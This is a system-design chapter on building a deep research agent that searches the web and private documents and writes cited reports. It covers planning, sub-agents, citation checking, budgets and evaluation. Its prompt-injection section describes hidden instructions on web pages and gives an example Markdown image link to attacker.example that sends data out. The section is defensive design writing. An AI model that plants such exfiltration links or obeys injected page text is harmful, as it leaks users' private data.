Ask a chat assistant "How have EU battery regulations changed the economics of lithium-ion recycling since 2023?" and you get a few paragraphs in seconds, based on what the model remembers and maybe a few search results. A careful answer takes more work. Someone has to read the regulation itself, a few industry reports, recent news about recycling plants, and data on material prices, and then write it all up with sources.

This is a different system from a chat assistant with a search tool. A single run can make hundreds of tool calls and can cost dollars rather than a fraction of a cent. Most of what it reads comes from web pages it has no reason to trust, and the report is only useful if its citations actually support its claims.

In this chapter, we'll design a deep research agent that searches the web and the user's documents and produces a cited report. We'll start with the requirements and high-level architecture, then go deep on planning and replanning, parallel sub-agents versus a single agent, accurate citations, prompt injection through web content, and cost limits per run.

Let's start by understanding the problem.

A research run has three phases. The agent first works out what the question is asking and makes a plan. Then it gathers evidence by searching, reading, and taking notes. Finally, it turns those notes into a report with citations.

Gathering takes most of the time and money, and it doesn't follow a fixed script. If the first searches reveal that the EU Battery Regulation sets minimum recycled content targets, the agent now needs to find those targets, their deadlines, and how recyclers have responded. None of that was in the original question. A fixed pipeline that runs five searches and summarizes the results can't follow leads like this, which is why the problem calls for an agent.

Three properties shape the design:

The rest of the design follows from these three properties.

"Design a deep research agent" leaves open where the agent looks, how long it runs, and how much it spends. These should be settled before getting into the design.

Here is how the conversation with the interviewer might go:

Several of these answers shape the design directly. Let's capture them as functional and non-functional requirements.

Functional Requirements

Non-Functional Requirements

Latency matters much less than in a chat product. Users who choose deep research expect to wait, so the system can trade speed for depth. The report does need to be trustworthy, which puts the weight on citations and claim checking.

Scale Estimates

Assume 100,000 runs per day with an average run time of 10 minutes. A typical run uses a planner, five research sub-agents, and a writer, and each sub-agent makes about 30 tool calls.

Since runs last minutes, the number of runs in progress matters more than the arrival rate. Little's Law gives the concurrency:

At peak, the system manages more than ten thousand agent loops, each holding state for several minutes. Keeping that state only in the memory of a web server process isn't an option.

Tokens drive the cost. Each step of an agent loop re-sends the conversation so far, so input tokens grow much faster than output. At an illustrative $1 per million input tokens and $5 per million output tokens for a mid-sized model:

Prompt caching lowers this a lot, because most of each step's input repeats the previous step's prefix. Even so, at about $2.60 a run costs on the order of a thousand times more than a short chat message, which costs a fraction of a cent at the same prices. Storage is small by comparison: about 80 cleaned pages at 50 KB each is 4 MB per run, or 400 GB per day.

"Is the report good?" is too vague to measure, so we break it into parts.

Citation precision and fact recall pull against each other. An agent that cites only what it's certain about misses a lot, and one that includes everything it found makes more mistakes. Cost pulls against both, since more searching usually improves recall. The design needs explicit controls for each.

A research run is a long-lived asynchronous job. The client submits a question and gets back a run ID, a durable orchestrator moves the run through its phases, and the client subscribes to progress events.

The orchestrator owns the run and calls the planner, sub-agents, and writer in turn. Sub-agents reach the outside world only through the tool layer, and everything they read is saved in the source store. The writer and citation checker work only from the source store, never from the live web. All model calls go through an LLM gateway, left out of the diagram for readability.

Run API and Run States

The API creates a run record and returns its ID immediately. The client opens a server-sent events stream for progress updates like "Searching: EU recycled content targets" or "Writing section 3 of 5". If the connection drops, it reconnects with the last event ID. The run continues whether or not anyone is watching.

Each run moves through a small set of states:

Two loops stand out. Research can return to planning when the agent finds gaps, and verification can return to writing when claims fail the citation check. The PARTIAL state matters just as much. When a run hits its limits, the user still gets a report built from what was found, with a note listing what wasn't covered.

Run Orchestrator

The orchestrator runs as a durable workflow, either on an engine like Temporal or on a job queue with explicit checkpoints. After every step, such as a completed search or a finished sub-agent, it records the result in a database. If a worker crashes, another worker resumes the run from the last recorded step. With around 700 runs in progress at any time, a routine deployment would otherwise kill hundreds of runs, each wasting a few dollars and ten minutes of a user's time.

Planner and Research Sub-Agents

The planner, a strong model, reads the question and produces a structured research plan. Each sub-agent takes one sub-question from the plan and runs its own tool loop with a small set of tools:

When a sub-agent has enough, or runs out of budget, it returns a short summary of findings, each tied to a passage in the source store. None of the tools change anything in the outside world. The agent can read, but it can't send emails, submit forms, or write anywhere except its own storage. That limits the damage a misbehaving agent can do.

Source Store

Every page and document the agent reads is stored with a source ID, URL, fetch time, content hash, and cleaned text split into passages with their own IDs. Web pages change, so the stored snapshot shows what the agent read even if the page is edited later. The store also deduplicates fetches within a run, so two sub-agents landing on the same page cost one fetch.

Report Writer and Citation Checker

The writer drafts an outline, then writes one section at a time from the relevant findings, citing passage IDs for every factual sentence. The citation checker verifies each cited claim before the report is shown to the user.

With the components in place, the first question is how the agent decides what to research.

The plan limits how good the final report can be, since later stages only research what the plan asks for. There are three common approaches.

Approach 1: Plan Once

The planner writes all sub-questions upfront, sub-agents research them, and the writer produces the report. This is simple and easy to budget, but the plan is written before the agent knows anything about the topic. An upfront plan for the battery question would include "EU regulation summary" but not "recycled content targets for cobalt and lithium," because the planner doesn't yet know those targets exist.

Approach 2: A Loop Without a Plan

A single agent decides what to do next at every step. It adapts well, but it tends to go deep on the first interesting thread, spend most of its budget there, and leave other parts of the question uncovered. It also has no clear signal for when the research is done.

Approach 3: Plan, Research, Review, Replan

The planner writes an initial plan, sub-agents research it, and the planner reviews the findings. It then decides whether to stop, add sub-questions, or drop ones that turned out not to matter.

The coverage checklist is what makes this loop work. Along with the sub-questions, the planner writes down what a complete answer must contain, such as "recycled content percentages with deadlines" or "at least two independent estimates of recycling cost per tonne." The review compares findings against this list item by item, which gives the loop a concrete stopping condition instead of the model's sense that it has done enough.

Storing the plan as structured data lets the orchestrator act on it:

With this structure, the UI can show progress per sub-question, the orchestrator can cap replanning rounds, and a partial report can list the checklist items it missed.

A bad report can start with a misunderstood question rather than bad research. "Compare vector databases" could mean features, pricing, or benchmarks. One short clarifying question costs far less than a ten-minute run on the wrong topic. The clarification step should time out quickly and fall back to reasonable defaults if the user doesn't reply.

Recommendation

Use plan, research, review, and replan with a structured plan and a coverage checklist. Cap replanning at two or three rounds. The first replan, when the agent learns what it didn't know to ask, often delivers most of the value. Later rounds tend to add detail at a higher cost per new fact.

Once there's a plan, the next question is how to execute it: one agent working through it in order, or several working at once.

Both designs show up in production research products, and the right choice depends on the shape of the question.

Approach 1: A Single Agent

One agent with one context window handles the whole run, periodically compacting its history by replacing old tool outputs with short summaries. Every decision is made with full knowledge of what's been found, there's no duplicated work, there's one trace to debug, and it uses fewer tokens.

The weaknesses show on broad questions. The agent works sequentially, so six independent topics take six times as long. And by the time it writes the report, details from early sources have been compacted away.

Approach 2: An Orchestrator with Parallel Sub-Agents

A lead agent splits the work and starts one sub-agent per sub-question. Each runs in a fresh context and returns a condensed summary.

Each sub-agent's context window works as a filter. A sub-agent might read 150,000 tokens across 15 pages and hand the lead agent a 1,500-token summary. The lead agent ends up with a much cleaner view than a single agent with a crowded context, and parallel execution cuts wall-clock time on broad questions.

The cost is tokens. Each sub-agent has its own system prompt, reasoning, and reading. Anthropic reported that its multi-agent research system used about 15 times as many tokens as a chat interaction. Sub-agents can also overlap with each other and can't easily build on each other's discoveries mid-run.

Making Sub-Agents Work Well

A few practices matter a lot in the multi-agent setup:

Recommendation

Default to the orchestrator with parallel sub-agents, since research questions in this product tend to be broad. Let the planner start a single sub-agent when the question is narrow and sequential, such as tracing the history of one court case. The orchestrator code stays the same; only the number of sub-agents changes.

Telling the model to "cite your sources" doesn't produce reliable citations. Models can attach a citation to a sentence the source only partly supports, merge two sources into one claim, or cite one page for a number that came from another. Readers may not notice, because the citation makes the claim look checked. Accurate citations have to come from how the whole pipeline handles evidence.

Tie Evidence to Passages from the Start

The source store splits each page into passages of a few sentences with IDs like src_42#p7. When a sub-agent records "The regulation requires 16% recycled cobalt in new batteries by 2031," it must include the passage ID where that appears. Because the passage text is stored, the system can later check what the source says instead of relying on the model's memory of a page.

Constrain the Writer

The writer receives each section's findings along with their passage text and may cite only those passage IDs. Any ID that doesn't resolve to a stored passage is a fabricated citation and is rejected. The writer is also told to state when evidence is thin. "We found only two sources with specific cost figures, and they differ by 40%" is more useful than a confident number from a weak source.

Verify Every Cited Claim

After the draft is written, the citation checker runs:

The checker splits the draft into claims, each paired with its cited passage. For each pair, a verification model answers one narrow question: does this passage support this claim? That's a much easier task than writing the report, so a small model can handle it, especially once it's been tuned on labeled supported and unsupported pairs.

Numbers, dates, and names get an extra deterministic check. If the claim says "16%" and "2031," those values should appear in the passage. This string check catches mismatched numbers and dates cheaply.

Failed claims go back to the writer with the reason. The writer narrows the claim, finds another supporting passage in the store, or removes it. After one or two rounds, anything still failing is dropped rather than shown with a weak citation.

What Citation Checking Doesn't Cover

The checker confirms that a source says what the report claims. It doesn't confirm that the source is correct. A perfectly cited report can still repeat an outdated number from a low-quality blog. Two measures help. Sources get a quality score based on domain reputation, recency, and whether they're primary, so the regulation text outranks a summary of it. And when sources disagree, the report says so and cites both, instead of picking one without mentioning the conflict.

Recommendation

Track evidence at the passage level from the first finding, restrict the writer to stored passages, and verify every cited claim before the report ships. The checker adds a minute or two and a small cost per run, which is worth it for the property users care about most.

Citation checking also helps with a more adversarial problem: pages written to manipulate the agent.

A research agent reads hundreds of pages chosen by a search engine from sites anyone can publish. Some contain text aimed at AI agents, often hidden from human readers in HTML comments or white-on-white text:

The model reads this as page content, and models don't reliably separate data from instructions. No prompt fully prevents injection, so the design has to limit what a successful one can do.

What Can Go Wrong

Exfiltration is the most serious, and it needs three things together: access to private data, exposure to untrusted content, and a way to send data out. Removing any one blocks it.

Defense 1: Separate Private Data from Web Browsing

The strongest defense is architectural. Web sub-agents don't get access to private documents, and document sub-agents don't get the fetch tool.

An injection on a web page reaches an agent that has nothing private to leak. The document sub-agents see private content but can't send anything out. The writer combines both sets of findings but has no tools. The planner also writes web tasks without private details, so if the user's question names an internal project, the web sub-agent gets only the public topic.

Defense 2: Restrict Outbound Requests

Within the web zone, fetch should accept only URLs that appeared in search results or as links on fetched pages, not URLs the model constructs. All requests go through an egress proxy that blocks internal network addresses.

The report renderer needs the same care. If the report is Markdown, an injected image like ![](https://attacker.example/?d=...) would make the user's browser send data as soon as the report loads. The renderer should not load external images and should link only to sources in the source store.

Defense 3: Reduce Injection Success and Impact

Other measures lower the odds and effect of an injection without fully preventing it:

Recommendation

Assume some injections will succeed and design so they can't do much. Keep tools read-only, separate web and private zones, restrict egress, and render reports safely. Page cleaning and classifiers are useful extra layers, but the separation of zones is what keeps private data from leaking.

Injected text is one way a run can overspend. The more common cause is the agent's own behavior.

The average run costs about $2.60, but agent runs have a long tail. Most finish within budget, while a small share get stuck re-searching one topic, fetching huge PDFs, or replanning in circles. Without limits, a run can cost $50 and take an hour. At 100,000 runs per day, that tail adds up.

Enforce Budgets Outside the Model

Telling the model its budget helps it pace itself, but it can't be the enforcement mechanism. Models lose count, and injected text can tell them to ignore limits. The orchestrator and LLM gateway enforce the budget, which covers tokens, dollars, tool calls, and wall-clock time.

The orchestrator splits the run budget into shares:

The writing reserve guarantees a report. If research could spend the whole budget, some runs would end with nothing to show. Holding back a quarter means every run can turn its findings into a report. Sub-agents that finish early return their unused share, which the planner can spend on a replan round.

Every model call goes through the gateway tagged with the run and sub-agent IDs, so usage is counted against the right budget in real time. The orchestrator checks the remaining budget before each call.

Soft and Hard Limits

Cutting off a sub-agent mid-step wastes work, so two thresholds work better than one. At around 80% of its share, the orchestrator tells the sub-agent to stop searching and return its findings, and a well-behaved sub-agent wraps up at that point. At 100%, the orchestrator stops it and keeps the findings already recorded. Since findings are saved as they're made, nothing is lost.

Some runs stay within budget while making no progress. The orchestrator can detect the common patterns cheaply: near-identical search queries, several fetches in a row with no new findings, or replans that produce almost the same sub-questions. Any of these triggers the soft limit early.

Lowering the Cost of Every Run

Limits cap the worst runs. These techniques lower the average:

Depth tiers are easy to overlook. Some questions sent to a research product don't need ten minutes of work. The planner can estimate complexity and pick a budget tier, with the user able to override it.

Recommendation

Give every run a budget enforced by the orchestrator and gateway, reserve a share for writing, and use soft limits, hard limits, and loop detection. Then lower the average with caching, model tiering, and depth tiers. Aim for a predictable p99 cost as well as a low average.

The offline evaluation set holds a few hundred research questions across domains, each with key facts written by domain experts. Every change, whether a new model, a planner prompt, or a different sub-agent count, runs against the full set and is measured on fact recall (graded by an LLM judge and spot-checked by people), citation precision, source quality, and cost and time per run. Agent runs vary a lot between attempts, so running each question two or three times gives a more reliable comparison.

In production, every run keeps a trace: the plan, each sub-agent's tool calls, fetched URLs, findings, the draft, and checker results. Dashboards track citation failure rates, the share of PARTIAL runs, cost and time at p95 and p99, loop-detection triggers, injection classifier hits, and user ratings and source clicks.

Two signals deserve alerts. A rise in citation failures often follows a model or prompt change that made the writer less careful. A jump in p99 cost usually means a new failure mode in the agent loop, such as a site returning huge pages or a search provider returning poor results.

A deep research agent can look like a chat assistant with a search tool and a longer timeout. Most of the design work goes into running long, expensive jobs reliably, keeping their cost predictable, staying safe while reading untrusted content, and making every claim checkable.

In this design, the model plans the searches and writes the report, while the orchestrator enforces per-run budgets, the source store records every page read, and the verification step checks each claim against its cited source before the report is delivered.